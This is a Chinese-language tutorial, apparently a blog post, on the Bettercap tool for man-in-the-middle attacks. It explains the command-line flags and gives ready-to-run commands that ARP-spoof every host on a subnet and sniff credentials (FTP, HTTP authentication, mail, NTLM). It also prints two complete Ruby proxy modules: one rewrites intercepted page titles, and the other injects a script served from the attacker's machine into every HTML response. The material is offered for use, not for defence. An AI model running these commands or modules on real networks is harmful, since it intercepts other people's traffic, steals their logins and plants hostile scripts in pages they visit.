Bettercap中间人攻击
命令
-I
, –INTERFACE IFACE 指定网卡名,默认ETH0
-S
, –SPOOFER NAME 指定欺骗模块,默认为ARP
-T
, –TARGET ADDRESS 指定单一IP,如果未设置,则代表所有子网,子网所有主机自动扫描
-O
, –LOG LOG_FILE 日志功能
-D
, –DEBUG 调试功能,会将每一步操作详细记录,便于调试
-L
–LOCAL 解析流经本机的所有数据包(此操作会开启嗅探器),此参数默认为关闭
-X
, –SNIFFER 开启嗅探器. –SNIFFER-PCAP FILE 将数据包保存为PCAP文件,可用WIRESHARK打开(此操作会开启嗅探器) –SNIFFER-FILTER EXPRESSION 配置嗅探器使用BPF过滤器(此操作会开启嗅探器)
-P
–PARSERS PARSERS 指定数据包(此操作会开启嗅探器),支持NTLMSS, IRC, POST, URL, FTP, HTTPS, HTTPAUTH, MAIL,此参数默认为所有 –NO-DISCOVERY 只使用当前的ARP缓存,不去扫描其他主机,此参数默认为关闭 –NO-SPOOFING 关闭欺骗模块,也可以使用参数–SPOOFER NONE代替 –PROXY 启用HTTP代理并且重定向所有HTTP请求至本机,此参数默认为关闭 –PROXY-PORT PORT 设置HTTP代理端口,此参数默认为8080 –PROXY-MODULE MODULE 指定加载的RUBY模块 –HTTPD 开启HTTP服务器,此参数默认为关闭 –HTTPD-PORT PORT 指定HTTP SERVER PORT, 此参数默认为8081. –HTTPD-PATH PATH 指定HTTP SERVER PATH,此参数默认为 ./.
-H
, –HELP 英文帮助
功能
1、HOST DISCOVERY + ARP MAN IN THE MIDDLE
sudo bettercap -X
扫描全部内网主机,傻瓜式操作,自动扫描并进行arp欺骗,使所有流量经过本机
2、CREDENTIALS SNIFFER
抓取流量中有价值的信息,包括:
URLs being visited.
HTTPS host being visited.
HTTP POSTed data.
HTTP Basic and Digest authentications.
FTP credentials.
IRC credentials.
POP, IMAP and SMTP credentials.
NTLMv1/v2 ( HTTP, SMB, LDAP, etc ) credentials.
用法举例:
默认模式,开启所有功能:
sudo bettercap -X
指定抓取的数据包:
sudo bettercap -X -P "FTP,HTTPAUTH,MAIL,NTLMSS"
3、MODULAR TRANSPARENT PROXY
代理功能,可以拦截篡改HTTP流量
用法举例:
开启代理功能:
sudo bettercap --proxy
开启代理功能并指定端口:
sudo bettercap --proxy --proxy-port=8081
关闭arp欺骗,只开启代理
sudo bettercap -S NONE --proxy
开启代理功能并加载指定的Ruby模块
sudo bettercap --proxy --proxy-module=hack_title.rb
Ruby参考示例:
class HackTitle < Proxy::Module
def on_request( request, response )
# is it a html page?
if response.content_type == 'text/html'
Logger.info "Hacking http://#{request.host}#{request.url} title tag"
# make sure to use sub! or gsub! to update the instance
response.body.sub!( '<title>', '<title> !!! HACKED !!! ' )
end
end
end
功能为替换所有html的标题选项
4、BUILTIN HTTP SERVER
内置HTTP SERVER功能,可篡改HTTP响应包内容
用法举例:
在网络的每一个HTTP响应中注入JS文件
sudo bettercap --httpd --http-path=/path/to/your/js/file/ --proxy --proxy-module=inject.rb
Ruby参考示例:
class InjectJS < Proxy::Module
def on_request( request, response )
# is it a html page?
if response.content_type == 'text/html'
Logger.info "Injecting javascript file into http://#{request.host}#{request.url} page"
# get the local interface address and HTTPD port
localaddr = Context.get.iface[:ip_saddr]
localport = Context.get.options[:httpd_port]
# inject the js
response.body.sub!( '</title>', "</title><script src='http://#{localaddr}:#{localport}/file.js'
type='text/javascript'></script>" )
end
end
end